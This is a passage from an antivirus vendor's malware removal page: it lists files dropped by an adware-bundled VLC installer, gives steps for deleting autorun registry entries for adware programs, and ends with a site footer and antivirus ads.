    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (12024 bytes)
    %Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
    %Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (6584 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25824 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20416 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
    C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (12024 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)
    C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\Xqaaz.exe (1692963 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\Mdustzuhwoc.tmp (397531 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\abxbingaf.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\frhpnmmmq.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\ekled.dll (2122 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB1A3.tmp (35697 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\4D90EAE405E9E2FF (34773 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\D1989.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.552 (45012 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.552 (11109 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\abxbingaf.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\ekled.dll (2122 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\Vbrgnmfwi.exe (1683475 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\Tddyzfitw.tmp (396048 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\frhpnmmmq.dll (30 bytes)
    

    4. 

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):
    

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
    "premium_downloader" = ""

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"
    

    5. 

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    6. 

  6. Reboot the computer.
    7. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
No votes yet












				


							


			

				
					  
							

		

		


					
							

	

	
	        


	

        
      
 

      
      

      
    
 

    
  
 

		


		

		
			

			

				

					Lavasoft is the maker of Ad-Aware,
					the world's most popular anti-malware 
					software with over 450 million 
					downloads.
				

				

					© 2026 Lavasoft. All rights reserved.

					Terms Of Use |   Privacy Policy
					


								

			


		

		


	

	
	

	

		x
		
Our best antivirus yet!

		
Fresh new look. Faster scanning. Better protection.

		

			
Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

			
For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

			
			Download adaware antivirus 12
		

		No thanks, continue to lavasoft.com
	

	

		

			close x
			
Discover the new adaware antivirus 12

			
Our best antivirus yet

			Download Now